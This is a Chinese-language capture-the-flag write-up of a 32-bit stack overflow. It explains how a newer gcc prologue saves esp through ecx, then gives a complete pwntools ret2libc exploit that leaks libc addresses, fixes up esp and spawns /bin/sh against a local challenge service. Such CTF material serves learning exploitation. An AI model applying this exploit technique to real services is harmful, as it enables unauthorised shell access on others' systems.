拿到這題的時候已經是一隻binary了,這是用比較新的gcc編的,對於function call 有一些新的機制,如下:

 80485cb:       8d 4c 24 04             lea    ecx,[esp+0x4]
 80485cf:       83 e4 f0                and    esp,0xfffffff0
 80485d2:       ff 71 fc                push   DWORD PTR [ecx-0x4]
 80485d5:       55                      push   ebp
 80485d6:       89 e5                   mov    ebp,esp
 80485d8:       51                      push   ecx
 80485d9:       83 ec 34                sub    esp,0x34

 ......

 8048682:       b8 00 00 00 00          mov    eax,0x0
 8048687:       8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
 804868a:       c9                      leave
 804868b:       8d 61 fc                lea    esp,[ecx-0x4]
 804868e:       c3                      ret

可以看到在初始化的時候lea ecx,[esp+0x4],會把esp得值放到ecx中 之後再把ecx放到stack上,當我們overflow以後會把原本得直也蓋掉

題目滿好心的有提供很多東西所以可以算出system的位置,也有給buffer的位置,所以我們直接把 ret address 填到 buffer 開頭的位置這樣esp,控制好以後esp才不會爛掉,之後照正常疊 ret2libc 就行了

from pwn import *

e = ELF('/lib32/libc.so.6')
#e = ELF('./libc.so.6')

r = remote("127.0.0.1",4000)
r.recvlines(2)
puts = r.recvline().strip()[47:57]
print 'puts : ',puts
puts = int(puts, 16)

buffer = r.recvline().strip()[-10:]
print 'buffer :',buffer
buffer = int(buffer,16)

system = puts - ( e.symbols['puts'] - e.symbols['system'] )
print 'system : ',hex(system)

payload = p32(system) + p32(0) + p32(buffer + 4*7) + p32(0) + p32(0) + p32(0) + p32(0)
payload += '/bin/sh\x00'
payload += 'A'*(44-len(payload))
print len(payload)


r.sendline( payload + p32( buffer + 4)  )

r.interactive()